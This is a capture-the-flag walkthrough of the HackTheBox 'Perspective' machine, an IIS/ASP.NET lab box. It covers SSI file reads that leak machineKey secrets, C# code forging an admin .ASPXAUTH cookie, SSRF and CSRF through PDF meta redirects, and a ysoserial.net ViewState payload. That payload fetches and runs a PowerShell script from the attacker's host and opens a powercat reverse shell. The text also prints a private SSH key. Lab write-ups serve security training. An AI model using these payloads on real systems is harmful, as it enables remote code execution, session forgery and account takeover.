Perspective
Recon
HTTP (80)
Oddly enough this is Windows box with only SSH and HTTP 🤔 Something aint right.

Backend is IIS and __VIEWSTATE
is being used, which is known to be vulnerable to RCE if we have a correct payload.

If we request asp[x]
files we get different error and headers:
└─$ curl http://perspective.htb/letmein.aspx -I
HTTP/1.1 404 Not Found
Cache-Control: private
Content-Length: 1897
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/10.0
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Sun, 01 Dec 2024 20:55:55 GMT
We can add products, it only seems to accept JPEG files.

Fuzzing Upload Extension
We can try fuzzing for different extensions. First validate correct match and then start real fuzzing.
FFUF supports burp requests, copy it to file, edit the filename to be filename="whatever.FUZZ"
, filename contents doesn't matter much, leave the content type as is, and also change name
to whateverFUZZ
so it's unique and doesn't cause an error.
└─$ ffuf -request req -request-proto http -w test.txt
v2.1.0-dev
aspx [Status: 200, Size: 8723, Words: 1894, Lines: 209, Duration: 85ms]
php [Status: 200, Size: 8722, Words: 1894, Lines: 209, Duration: 86ms]
jpeg [Status: 200, Size: 8716, Words: 1894, Lines: 209, Duration: 89ms]
:: Progress: [3/3] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors: 0 ::
└─$ ffuf -request req -request-proto http -w /usr/share/seclists/Fuzzing/extensions-skipfish.fuzz.txt -fl 209
v2.1.0-dev
js [Status: 302, Size: 138, Words: 6, Lines: 4, Duration: 142ms]
conf [Status: 302, Size: 138, Words: 6, Lines: 4, Duration: 185ms]
cgi [Status: 302, Size: 138, Words: 6, Lines: 4, Duration: 198ms]
cs [Status: 302, Size: 138, Words: 6, Lines: 4, Duration: 210ms]
gif [Status: 302, Size: 138, Words: 6, Lines: 4, Duration: 365ms]
htm [Status: 302, Size: 138, Words: 6, Lines: 4, Duration: 365ms]
cpp [Status: 302, Size: 138, Words: 6, Lines: 4, Duration: 370ms]
jhtml [Status: 302, Size: 138, Words: 6, Lines: 4, Duration: 371ms]
jpg [Status: 302, Size: 138, Words: 6, Lines: 4, Duration: 758ms]
pdf [Status: 302, Size: 138, Words: 6, Lines: 4, Duration: 395ms]
jsf [Status: 302, Size: 138, Words: 6, Lines: 4, Duration: 531ms]
php3 [Status: 302, Size: 138, Words: 6, Lines: 4, Duration: 138ms]
py [Status: 302, Size: 138, Words: 6, Lines: 4, Duration: 156ms]
shtml [Status: 302, Size: 138, Words: 6, Lines: 4, Duration: 158ms]
png [Status: 302, Size: 138, Words: 6, Lines: 4, Duration: 417ms]
ppt [Status: 302, Size: 138, Words: 6, Lines: 4, Duration: 428ms]
sh [Status: 302, Size: 138, Words: 6, Lines: 4, Duration: 561ms]
sql [Status: 302, Size: 138, Words: 6, Lines: 4, Duration: 480ms]
xls [Status: 302, Size: 138, Words: 6, Lines: 4, Duration: 401ms]
xml [Status: 302, Size: 138, Words: 6, Lines: 4, Duration: 396ms]
xsl [Status: 302, Size: 138, Words: 6, Lines: 4, Duration: 398ms]
zip [Status: 302, Size: 138, Words: 6, Lines: 4, Duration: 398ms]
:: Progress: [93/93] :: Job [1/1] :: 25 req/sec :: Duration: [0:00:03] :: Errors: 0 ::
Manually reduced matches to somewhat usable extensions, because there was a lot... 75/93 matched.
We can upload JS so possible XSS, conf might not be useful, cgi probably not, jhtml is something interesting alongside with shtml; archives, images and else probably not useful too.
SSTI
shtml is supported by IIS, jhtml seems Java application specific so not going to dive in there.
SSTI is successful

<!--#exec cmd="ls" -->
returns The CMD option is not enabled for #EXEC calls
, no RCE :/
LFI
web.config
returns:
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.webServer>
<handlers>
<clear />
<add name="SSINC-html" path="*.shtml" verb="*" modules="ServerSideIncludeModule" resourceType="File" />
<add name="StaticFile" path="*" verb="*" modules="StaticFileModule,DefaultDocumentModule,DirectoryListingModule" resourceType="Either" requireAccess="Read" />
</handlers>
</system.webServer>
<appSettings>
<add key="allowSubDirConfig" value="false" />
</appSettings>
</configuration>
but ../web.config
returns:
<?xml version="1.0" encoding="utf-8"?>
<configuration>
<configSections>
<section name="entityFramework" type="System.Data.Entity.Internal.ConfigFile.EntityFrameworkSection, EntityFramework, Version=6.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" requirePermission="false" />
</configSections>
<connectionStrings>
<add name="localMssql" connectionString="Data Source=PERSPECTIVE\SQLEXPRESS;database=perspective;Integrated Security=True;Persist Security Info=False;Pooling=False;MultipleActiveResultSets=False;Encrypt=False;TrustServerCertificate=False" providerName="System.Data.SqlClient" />
</connectionStrings>
<system.web>
<sessionState cookieless="false" mode="InProc" />
<roleManager enabled="true" defaultProvider="SqlRoleProvider">
<providers>
<add name="SqlRoleProvider" type="System.Web.Security.SqlRoleProvider" connectionStringName="localMssql" applicationName="/" />
</providers>
</roleManager>
<compilation debug="true" targetFramework="4.6.1" />
<httpRuntime targetFramework="4.6.1" />
<authentication mode="Forms">
<forms name=".ASPXAUTH" cookieless="UseDeviceProfile" loginUrl="~/Account/Login.aspx" slidingExpiration="false" protection="All" requireSSL="false" timeout="10" path="/" />
</authentication>
<machineKey compatibilityMode="Framework20SP2" validation="SHA1" decryption="AES" validationKey="99F1108B685094A8A31CDAA9CBA402028D80C08B40EBBC2C8E4BD4B0D31A347B0D650984650B24828DD120E236B099BFDD491910BF11F6FA915BF94AD93B52BF" decryptionKey="B16DA07AB71AB84143A037BCDD6CFB42B9C34099785C10F9" />
<pages>
<namespaces>
<add namespace="System.Web.Optimization" />
</namespaces>
<controls>
<add assembly="Microsoft.AspNet.Web.Optimization.WebForms" namespace="Microsoft.AspNet.Web.Optimization.WebForms" tagPrefix="webopt" />
</controls>
</pages>
<membership defaultProvider="SqlProvider" userIsOnlineTimeWindow="15">
<providers>
<add name="SqlProvider" type="System.Web.Security.SqlMembershipProvider" connectionStringName="localMssql" applicationName="/" enablePasswordRetrieval="false" enablePasswordReset="true" requiresQuestionAndAnswer="false" requiresUniqueEmail="false" passwordFormat="Hashed" maxInvalidPasswordAttempts="5" passwordAttemptWindow="10" />
</providers>
</membership>
<profile>
<providers>
<clear />
<add name="AspNetSqlProfileProvider" type="System.Web.Profile.SqlProfileProvider" connectionStringName="localMssql" applicationName="/" />
</providers>
<properties>
<add name="Question1" />
<add name="Answer1" />
<add name="Question2" />
<add name="Answer2" />
<add name="Question3" />
<add name="Answer3" />
</properties>
</profile>
<customErrors mode="On">
<error redirect="http://perspective.htb/500.html" statusCode="500" />
</customErrors>
</system.web>
<runtime>
<assemblyBinding xmlns="urn:schemas-microsoft-com:asm.v1">
<dependentAssembly>
<assemblyIdentity name="Antlr3.Runtime" publicKeyToken="eb42632606e9261f" />
<bindingRedirect oldVersion="0.0.0.0-3.5.0.2" newVersion="3.5.0.2" />
</dependentAssembly>
<dependentAssembly>
<assemblyIdentity name="Newtonsoft.Json" publicKeyToken="30ad4fe6b2a6aeed" />
<bindingRedirect oldVersion="0.0.0.0-12.0.0.0" newVersion="12.0.0.0" />
</dependentAssembly>
<dependentAssembly>
<assemblyIdentity name="System.Diagnostics.DiagnosticSource" publicKeyToken="cc7b13ffcd2ddd51" />
<bindingRedirect oldVersion="0.0.0.0-4.0.2.1" newVersion="4.0.2.1" />
</dependentAssembly>
<dependentAssembly>
<assemblyIdentity name="WebGrease" publicKeyToken="31bf3856ad364e35" />
<bindingRedirect oldVersion="0.0.0.0-1.6.5135.21930" newVersion="1.6.5135.21930" />
</dependentAssembly>
<dependentAssembly>
<assemblyIdentity name="EntityFramework" publicKeyToken="b77a5c561934e089" />
<bindingRedirect oldVersion="0.0.0.0-6.0.0.0" newVersion="6.0.0.0" />
</dependentAssembly>
<dependentAssembly>
<assemblyIdentity name="System.Web.Helpers" publicKeyToken="31bf3856ad364e35" />
<bindingRedirect oldVersion="1.0.0.0-3.0.0.0" newVersion="3.0.0.0" />
</dependentAssembly>
<dependentAssembly>
<assemblyIdentity name="System.Web.WebPages" publicKeyToken="31bf3856ad364e35" />
<bindingRedirect oldVersion="1.0.0.0-3.0.0.0" newVersion="3.0.0.0" />
</dependentAssembly>
<dependentAssembly>
<assemblyIdentity name="System.Buffers" publicKeyToken="cc7b13ffcd2ddd51" culture="neutral" />
<bindingRedirect oldVersion="0.0.0.0-4.0.3.0" newVersion="4.0.3.0" />
</dependentAssembly>
<dependentAssembly>
<assemblyIdentity name="System.Memory" publicKeyToken="cc7b13ffcd2ddd51" culture="neutral" />
<bindingRedirect oldVersion="0.0.0.0-4.0.1.1" newVersion="4.0.1.1" />
</dependentAssembly>
</assemblyBinding>
</runtime>
<system.webServer>
<handlers>
<add name="HTMLHandler" type="System.Web.StaticFileHandler" path="*.html" verb="GET" />
<add name="SSINC-html" path="*.shtml" verb="*" modules="ServerSideIncludeModule" resourceType="File" />
</handlers>
<httpErrors errorMode="Custom" />
</system.webServer>
<system.net></system.net>
<system.data></system.data>
<appSettings>
<add key="environment" value="Production" />
<add key="Domain" value="perspective.htb" />
<add key="ViewStateUserKey" value="ENC1:3UVxtz9jwPJWRvjdl1PfqXZTgg==" />
<add key="SecurePasswordServiceUrl" value="http://localhost:8000" />
</appSettings>
</configuration>
<!--ProjectGuid: 32B06320-D9FA-44B2-A1EA-B2547531A4A2-->
Interesting values:
<connectionStrings>
<add name="localMssql" connectionString="Data Source=PERSPECTIVE\SQLEXPRESS;database=perspective;Integrated Security=True;Persist Security Info=False;Pooling=False;MultipleActiveResultSets=False;Encrypt=False;TrustServerCertificate=False" providerName="System.Data.SqlClient" />
</connectionStrings>
<authentication mode="Forms">
<forms name=".ASPXAUTH" cookieless="UseDeviceProfile" loginUrl="~/Account/Login.aspx" slidingExpiration="false" protection="All" requireSSL="false" timeout="10" path="/" />
</authentication>
<machineKey compatibilityMode="Framework20SP2" validation="SHA1" decryption="AES" validationKey="99F1108B685094A8A31CDAA9CBA402028D80C08B40EBBC2C8E4BD4B0D31A347B0D650984650B24828DD120E236B099BFDD491910BF11F6FA915BF94AD93B52BF" decryptionKey="B16DA07AB71AB84143A037BCDD6CFB42B9C34099785C10F9" />
<appSettings>
<add key="ViewStateUserKey" value="ENC1:3UVxtz9jwPJWRvjdl1PfqXZTgg==" />
<add key="SecurePasswordServiceUrl" value="http://localhost:8000" />
</appSettings>
Exploiting ViewState Deserialization using Blacklist3r and YSoSerial.Net
ViewStateUserKey is encoded so encryption is used, and we have no keys for that, __VIEWSTATE exploit has to wait.
Note: In above blog author uses ViewState Editor plugin in burp
There's a proxy in SecurePasswordServiceUrl
going to port 8000 locally 🤔
ASPXAUTH Cookie
.ASPXAUTH
cookie stands out in the http request, turns out we can decode it: Decoding Forms Authentication Cookies With Mono
using System;
using System.IO;
using System.Security.Cryptography;
using System.Text;
using System.Text.RegularExpressions;
using System.Web.Configuration;
using System.Web.Security;
using System.Security.Principal;
using System.Configuration;
class Program {
static void Main(string[] args) {
string cookieValue = "4CA9131C3740F22E9CD2D2C3BD6E15150B721BCEBFE6D67C27F407116EA963951536B7AB394B0CFAED753120053C027CB8B7EA664E4C0620D6A8CAAEF01168A846BD4EAEF7EDB1346489AF31DD6399888E69F1BFEBDA29B6622AE0072033EEAB30295D6465F3995701C36F5D436010B158E304954FC630FC7FC3ADE5543FF235AEB7A935";
if (string.IsNullOrWhiteSpace(cookieValue)) { Console.WriteLine("Cookie value is empty or invalid."); return; }
if (!Regex.IsMatch(cookieValue, "^([a-fA-F0-9]{2})+$")) { Console.WriteLine("Cookie value is not a valid hex string."); return; }
string validationKey = "99F1108B685094A8A31CDAA9CBA402028D80C08B40EBBC2C8E4BD4B0D31A347B0D650984650B24828DD120E236B099BFDD491910BF11F6FA915BF94AD93B52BF";
string decryptionKey = "B16DA07AB71AB84143A037BCDD6CFB42B9C34099785C10F9";
byte[] cookieBytes = ByteUtility.ToBytes(cookieValue);
byte[] decryptedBytes = null;
int signatureLength;
bool isValid = true;
using(var validationAlgorithm = new HMACSHA1(ByteUtility.ToBytes(validationKey))) {
signatureLength = validationAlgorithm.HashSize >> 3;
if (cookieBytes.Length - 1 < signatureLength) {
Console.WriteLine("Invalid cookie length.");
return;
}
var signature = validationAlgorithm.ComputeHash(cookieBytes, 0, cookieBytes.Length - signatureLength);
for (int i = 0; i < signature.Length; i++) {
if (signature[i] != cookieBytes[cookieBytes.Length - signatureLength + i])
isValid = false;
}
}
int initializationVectorLength;
using(var decryptionAlgorithm = Rijndael.Create()) {
initializationVectorLength = decryptionAlgorithm.IV.Length;
decryptionAlgorithm.Key = ByteUtility.ToBytes(decryptionKey);
using(var decryptor = decryptionAlgorithm.CreateDecryptor()) {
try {
decryptedBytes = decryptor.TransformFinalBlock(cookieBytes, 0, cookieBytes.Length - signatureLength);
} catch (Exception ex) {
Console.WriteLine($"Decryption failed: {ex.Message}");
return;
}
}
if (!isValid)
decryptedBytes = null;
}
if (decryptedBytes == null || decryptedBytes.Length < 51 + initializationVectorLength) {
Console.WriteLine("Decrypted bytes are invalid.");
return;
}
using(var stream = new MemoryStream(decryptedBytes, 8 + initializationVectorLength, decryptedBytes.Length - 28 - initializationVectorLength, false))
using(var reader = new BinaryReader(stream, Encoding.Unicode)) {
if (reader.ReadByte() != 0x01) {
Console.WriteLine("Invalid format in decrypted bytes.");
return;
}
int version = reader.ReadByte();
DateTime issueDate = new DateTime(reader.ReadInt64(), DateTimeKind.Utc);
if (reader.ReadByte() != 0xFE) {
Console.WriteLine("Invalid format after issue date.");
return;
}
DateTime expirationDate = new DateTime(reader.ReadInt64(), DateTimeKind.Utc);
bool isPersistent = reader.ReadBoolean();
string name = ReadFormsAuthenticationTicketString(reader);
string userData = ReadFormsAuthenticationTicketString(reader);
string path = ReadFormsAuthenticationTicketString(reader);
if (reader.ReadByte() != 0xFF) {
Console.WriteLine("Invalid format at the end of decrypted bytes.");
return;
}
var ticket = new FormsAuthenticationTicket(version, name, issueDate, expirationDate, isPersistent, userData, path);
Console.WriteLine("Forms Authentication Ticket Details:");
foreach (var property in ticket.GetType().GetProperties()) {
Console.WriteLine($"{property.Name}: {property.GetValue(ticket)}");
}
}
}
private static string ReadFormsAuthenticationTicketString(BinaryReader reader) {
int stringLength = 0;
byte lengthByte;
int iterations = 0;
do {
lengthByte = reader.ReadByte();
stringLength |= (lengthByte & 0x7F) << (iterations * 7);
iterations++;
} while ((lengthByte & 0x80) != 0);
return new string(reader.ReadChars(stringLength));
}
}
static class ByteUtility {
public static byte[] ToBytes(string hexString) {
int length = hexString.Length;
byte[] bytes = new byte[length / 2];
for (int i = 0; i < length; i += 2) {
bytes[i / 2] = Convert.ToByte(hexString.Substring(i, 2), 16);
}
return bytes;
}
}
I wasn't going to run this on Widows, so in search of online runners I used https://www.programiz.com/csharp-programming/online-compiler/
Output:
Forms Authentication Ticket Details:
CookiePath: /
Expiration: 12/01/2024 22:02:15
Expired: True
IsPersistent: True
IssueDate: 12/01/2024 21:32:15
Name: t@gmail.htb
UserData: test
Version: 1
Soo... if we can decrypt, can we encrypt too?
We need a valid username for this to work. Via "Forgot Password" we are able to enumerate users from application, most common name for admin accounts is, of course, admin!

Once again avoid the Windows at all cost D: and use online compiler.
using System;
using System.Text;
using System.Security.Cryptography;
namespace FormsEncryptor {
class Program {
static void Main(string[] args) {
string ticketData = CreateTicket(
version: 1,
name: "admin@perspective.htb", // <-- User we want
issueDate: DateTime.Now,
expirationDate: DateTime.Now.AddMinutes(120),
isPersistent: true,
userData: "test",
path: "/"
);
// Define a secret key for encryption
string decryptionKey = "B16DA07AB71AB84143A037BCDD6CFB42B9C34099785C10F9";
string encryptedTicket = Encrypt(ticketData, decryptionKey);
Console.WriteLine($"Encrypted Ticket: {encryptedTicket}");
}
static string CreateTicket(int version, string name, DateTime issueDate, DateTime expirationDate, bool isPersistent, string userData, string path) {
// Mimic the FormsAuthenticationTicket structure as a delimited string
return $"{version}|{name}|{issueDate:o}|{expirationDate:o}|{isPersistent}|{userData}|{path}";
}
static string Encrypt(string data, string key) {
using (var aes = Aes.Create()) {
aes.Key = Encoding.UTF8.GetBytes(key.PadRight(32).Substring(0, 32)); // Ensure 256-bit key
aes.IV = new byte[16]; // Default zero IV
using (var encryptor = aes.CreateEncryptor()) {
byte[] plainBytes = Encoding.UTF8.GetBytes(data);
byte[] encryptedBytes = encryptor.TransformFinalBlock(plainBytes, 0, plainBytes.Length);
return BitConverter.ToString(encryptedBytes).Replace("-", "").ToLower(); // Convert to hex string
}
}
}
}
}
Encrypted Ticket: 73514032bba501350cd72c526d8943fe70c2c6648994fd98168466590565ffc79ac9cd19fd000ebc37ba4f5d7f8a73c522dddfc2acdcf84e834a52276cde2e48dfb4c17fdd428524880a00db8e94ae1997a010a0e787d9c6a548d9b1341f2d90452fe9ae0a146ebf331f5ecb48853f87
Welp... that was a good try, but it didn't work :/ I had to succumb to the Windows. Using previous project encrypt the cookie, make sure to include System.Web.Security
in libraries as it's not loaded by default and make sure to have web.config
correct like README mentions.
using System;
using System.Web.Security;
namespace FormsEncryptor {
class Program {
static void Main(string[] args) {
string replacedUsername = "admin@perspective.htb";
FormsAuthenticationTicket ticket = new FormsAuthenticationTicket(1,
replacedUsername,
DateTime.Now,
DateTime.Now.AddMinutes(120_000_000),
true,
"test",
"/");
string encTicket = FormsAuthentication.Encrypt(ticket);
Console.WriteLine(encTicket);
Console.Read();
}
}
}
This is the correct cookie:
256A839ADA25E0C7EA251F6175B847AF89EAD297D0DDD0ADD1D23D4861B373891BD6BB30F1B90D7D64D11FC68388032B2452FDD1A5D2AF7985EE49051C969E16DD47886F9834C3F4EFC26006023741FC75A7B1327B536BDFCBB57815CB73A1F4668A63B35645F432E576AC7EECB1FB2803BA8A980CAA76ADE03FEB617C427BF0D7E0BC3B4799B5B01D525642748D7C30C46A7A84
Admin Session
After editing cookie .ASPXAUTH
we get to the admin session which has ability to load user data

Exporting admin
data failed, but normal user was ok.
Dynamic PDF XSS

username field doesn't seem vulnerable to SQLi, but we can probably do Dynamic PDF XSS Injection
I thought h1
tag failed, but Name
field just didn't like that html, but Description
accepted and we can see it making text bold.

HTML Tags Fuzzing
Let's start fuzz for enabled tags:
└─$ ffuf -request html_tags.req -request-proto http -w ./html_tags.test
...
------WebKitFormBoundaryJYnUGlJO5WcHkiVR
Content-Disposition: form-data; name="ctl00$MainContent$FileUploadControl"; filename="vsociety.jpg"
Content-Type: image/jpeg
xxx
------WebKitFormBoundaryJYnUGlJO5WcHkiVR
Content-Disposition: form-data; name="ctl00$MainContent$nameBox"
NameFUZZ
------WebKitFormBoundaryJYnUGlJO5WcHkiVR
Content-Disposition: form-data; name="ctl00$MainContent$descBox"
<FUZZ>
________________________________________________
b [Status: 302, Size: 138, Words: 6, Lines: 4, Duration: 101ms]
strong [Status: 302, Size: 138, Words: 6, Lines: 4, Duration: 120ms]
iframe [Status: 200, Size: 8722, Words: 1894, Lines: 209, Duration: 128ms]
Now that sample is tested, let's do real fuzzing:
└─$ ffuf -request html_tags.req -request-proto http -w /usr/share/seclists/Miscellaneous/web/html-tags.txt -fl 209
...
base           [Status: 302, Size: 138, Words: 6, Lines: 4, Duration: 104ms]
meta           [Status: 302, Size: 138, Words: 6, Lines: 4, Duration: 1387ms]
...
135/190 is valid. base
and meta
are probably the easiest to use, but meta
will be easier to exploit because we can redirect to malicious JS code and base
scripts are mostly going up a directory so some trickery will be required.
https://punksecurity.co.uk/blog/base_tag_injections/
XSS
https://book.hacktricks.xyz/pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf -> <meta http-equiv="refresh" content="0;url=file:///etc/passwd" />
(didn't work)
LFI still doesn't work even with dynamic XSS and iframe, but probably don't need LFI because we already found it witho shtml...

SSRF
There was local service running on port 8000 so we can perform SSRF to check it out.
We can keep reusing the same index.html
file, because we, server, are reloading it.

<meta http-equiv="refresh" content="0;url=http://localhost:8000/swagger/v1/swagger.json">
{
"openapi": "3.0.1",
"info": { "title": "AdminAPI", "version": "v1" },
"paths": {
"/encrypt": {
"get": {
"tags": [ "SecurePasswordService" ],
"parameters": [{
"name": "plaintext",
"in": "query",
"schema": { "type": "string", "nullable": true }
}],
"responses": {
"200": {
"description": "Success",
"content": {
"text/plain": { "schema": { "type": "string" } },
"application/json": { "schema": { "type": "string" } },
"text/json": { "schema": { "type": "string" } }
}
}
}
}
},
"/decrypt": {
"post": {
"tags": [ "SecurePasswordService" ],
"parameters": [{
"name": "cipherTextRaw",
"in": "query",
"schema": { "type": "string", "nullable": true }
}],
"responses": {
"200": {
"description": "Success",
"content": {
"text/plain": { "schema": { "type": "string" } },
"application/json": { "schema": { "type": "string" } },
"text/json": { "schema": { "type": "string" } }
}
}
}
}
}
},
"components": {}
}
CSRF PoC Generator && Autosubmit Form CSRF PoC
<html>
<body onload="document.createElement('form').submit.call(document.getElementById('myForm'))">
<form id="myForm" name="myForm" method="POST" action="http://localhost:8000/decrypt?cipherTextRaw=3UVxtz9jwPJWRvjdl1PfqXZTgg==">
<input type="hidden" name="x" value="y"/>
<input type="submit" value="Submit">
</form>
</body>
</html>

Key:
SAltysAltYV1ewSTaT3
__VIEWSTATE
RCE
__VIEWSTATE
RCETo fill the command values refer to Official Tool docs https://github.com/pwntester/ysoserial.net
└─$ powercat -c 10.10.14.99 -p 4444 -e powershell -g > rev.ps1
---
➜ .\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe IEX(IWR 10.10.14.99/rev.ps1 -UseBasicParsing)" --generator=90AA2C29 --viewstateuserkey="SAltysAltYV1ewSTaT3" --validationalg="SHA1" --decryptionkey="B16DA07AB71AB84143A037BCDD6CFB42B9C34099785C10F9" --validationalg="SHA1" --validationkey="99F1108B685094A8A31CDAA9CBA402028D80C08B40EBBC2C8E4BD4B0D31A347B0D650984650B24828DD120E236B099BFDD491910BF11F6FA915BF94AD93B52BF"
%2FwEyyQcAAQAAAP%2F%2F%2F%2F8BAAAAAAAAAAwCAAAAXk1pY3Jvc29mdC5Qb3dlclNoZWxsLkVkaXRvciwgVmVyc2lvbj0zLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuRm9ybWF0dGluZy5UZXh0Rm9ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm91bmRCcnVzaAECAAAABgMAAADrBTw%2FeG1sIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9InV0Zi0xNiI%2FPg0KPE9iamVjdERhdGFQcm92aWRlciBNZXRob2ROYW1lPSJTdGFydCIgSXNJbml0aWFsTG9hZEVuYWJsZWQ9IkZhbHNlIiB4bWxucz0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwvcHJlc2VudGF0aW9uIiB4bWxuczpzZD0iY2xyLW5hbWVzcGFjZTpTeXN0ZW0uRGlhZ25vc3RpY3M7YXNzZW1ibHk9U3lzdGVtIiB4bWxuczp4PSJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dpbmZ4LzIwMDYveGFtbCI%2BDQogIDxPYmplY3REYXRhUHJvdmlkZXIuT2JqZWN0SW5zdGFuY2U%2BDQogICAgPHNkOlByb2Nlc3M%2BDQogICAgICA8c2Q6UHJvY2Vzcy5TdGFydEluZm8%2BDQogICAgICAgIDxzZDpQcm9jZXNzU3RhcnRJbmZvIEFyZ3VtZW50cz0iL2MgcG93ZXJzaGVsbC5leGUgSUVYKElXUiAxMC4xMC4xNC45OS9yZXYucHMxIC1Vc2VCYXNpY1BhcnNpbmcpIiBTdGFuZGFyZEVycm9yRW5jb2Rpbmc9Int4Ok51bGx9IiBTdGFuZGFyZE91dHB1dEVuY29kaW5nPSJ7eDpOdWxsfSIgVXNlck5hbWU9IiIgUGFzc3dvcmQ9Int4Ok51bGx9IiBEb21haW49IiIgTG9hZFVzZXJQcm9maWxlPSJGYWxzZSIgRmlsZU5hbWU9ImNtZCIgLz4NCiAgICAgIDwvc2Q6UHJvY2Vzcy5TdGFydEluZm8%2BDQogICAgPC9zZDpQcm9jZXNzPg0KICA8L09iamVjdERhdGFQcm92aWRlci5PYmplY3RJbnN0YW5jZT4NCjwvT2JqZWN0RGF0YVByb3ZpZGVyPgvQ9C5KPAwZFpzfoERcUg7KOYoUog%3D%3D
Paste the value in any request that has __VIEWSTATE

Reverse Shell
Finally a shell! 🎉
PS C:\windows\system32\inetsrv> whoami /all
User Name SID
=================== =============================================
perspective\webuser S-1-5-21-4217554682-543105606-1512504902-1004
Group Name Type SID Attributes
==================================== ================ ============================================================= ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\BATCH Well-known group S-1-5-3 Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON Well-known group S-1-2-1 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Local account Well-known group S-1-5-113 Mandatory group, Enabled by default, Enabled group
BUILTIN\IIS_IUSRS Alias S-1-5-32-568 Mandatory group, Enabled by default, Enabled group
LOCAL Well-known group S-1-2-0 Mandatory group, Enabled by default, Enabled group
IIS APPPOOL\PartImages_Prod Well-known group S-1-5-82-3890190112-1966196169-2951188565-1021961254-65804085 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\High Mandatory Level Label S-1-16-12288
Privilege Name Description State
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token Disabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
SeAuditPrivilege Generate security audits Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
SSH (22)
Upgrade reverse shell to SSH session
PS C:\Users\webuser\.ssh> cat id_rsa
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAzfoQwqu9tIYiy694HbGmT+qw2b+kUTnEcqEOEXv5+vLcVqZ2
APlHTSDj4rSzv+tJoHQiRf3IyVpNNqGw8+wM+P3wdozY66BUPHqz6FpRHxcMT2Ss
Nk9J9hxTi2L3oBVR83F0abBWnOClOqjrd8SMVRcyCi1/svSdOP8OPh9s+mpa5TG2
KEiI66whlBKKC1N2szF4rQNtkCGUw66zheHSxK5j6axjiP0sstC6hUJy2uqu3DXK
0dOtwMUk5EOpkFPTZxlIzgbUI/CcQ8ipaankvrHrh8x8DKdv9KspzKhLflS5Ayie
3PyFQ5lg9TCLk4dzyeB8YkBkBEXUbCePvNBFRwIDAQABAoIBAFwtqeyE0TwFv3Kq
DzYyt3wSSpzYD+At2wV1oAchFWlB4GuCyVJ8PHV+350oQz0DPgrpjiEGhyHdIKrv
R3KR0+hmNIPJWpZwROJgAz1blew081RgeFVBvJbAbH73hlwEzo0E3BUkTk6cljUf
PWl281ptK/60B+79W5MTSbtxcuLJgcvB/REYU3GPUK/dTSVU7IMV2hBrFP6srlqT
aGZ2ugm6xNV14Iq0KOpuHfYXXSdkklOt+eSZ8AWTQTkZtSfLJUybOaLYStOGn35S
IupwD4kxZbAtX54Avdi8rq61H4TIrM82B2+UpPkdd2P6am822mlQa4lVrnJCbq88
z6Xv6ckCgYEA9+lwddycXp0A4WlhmIu5A1440uZELhAfeRlBQVpeqlF0Ig2XjUyb
WhEu+lMlEfbsiWK/rfIp53uuBkstXc2ImKfhSbys8KMkJKq6Fp+OjbbFYSIS9mSP
f91W658OtfoNG/UHPp74f6/mogsbKpNP0nPDnjFBQLMuL2pYO/Q7p2sCgYEA1LJi
bPM/rpbzyGjJSYd50xNP1ftaUyZwRWCWAgAWLXKVVbuNdPNy6GvjyaNkJcPz3dh+
zSsLZeSyyVWUvFQslkkZaMvWZVDdwh9x8i3N/NhhTbqVTyBBqWTyk0l0WJVcHtUb
q6kSIYucmw/zH9qlpfYHvMWZN2kSHq+kwlMAfJUCgYBmTSpfOJ4+XMOUQQxJCr9a
KHOCdAsGhxi1vDo1YblWxy4JL1qusEIbNKQSIGVXuHF7cAhxG1E3eM4jQrqBzuLj
O8O3zef/lRLBHsKTu1v0Fsv0fT8d9flRZmEL8iL77SejtcU7jhY1erzNeY/ITenO
in7atLCcplQUtOmcM/i56QKBgQDRjiMNBqfSYqUy6ZKPoCt1u4wn3eoDDFcG8383
30/6XO8mtY9MD2NB/LJDgnh0ANiu1NMxXtxu+mDvniLZXfFD7CddqZ7E2WRzEroY
Cert114ez9q1R6mJtIyOcotvj1BgjEQj34KejEeyOoel9azIk1rSMLig8CNLGnAw
iMhs9QKBgQC6pv2GxsrQmUEPiE0vorFtMulMi7vRYe7kfgsohE8grqKzsveLQJok
R+67L9QcuLwo2OWng2d2oEFkx9dx++ewEluo8ZjcOx3TVDIIZDUw4KdD0Q/josqp
RhZbZ6EF094JTnINnexb9OhQMwQJHAhp63o5dH6fFXSTUpW10u+mkA==
-----END RSA PRIVATE KEY-----
└─$ vi webuser.id_rsa
└─$ chmod 600 webuser.id_rsa
└─$ ssh webuser@perspective.htb -i webuser.id_rsa
Microsoft Windows [Version 10.0.17763.2803]
(c) 2018 Microsoft Corporation. All rights reserved.
webuser@PERSPECTIVE C:\Users\webuser>
webuser@PERSPECTIVE C:\Users\webuser>powershell
User.txt
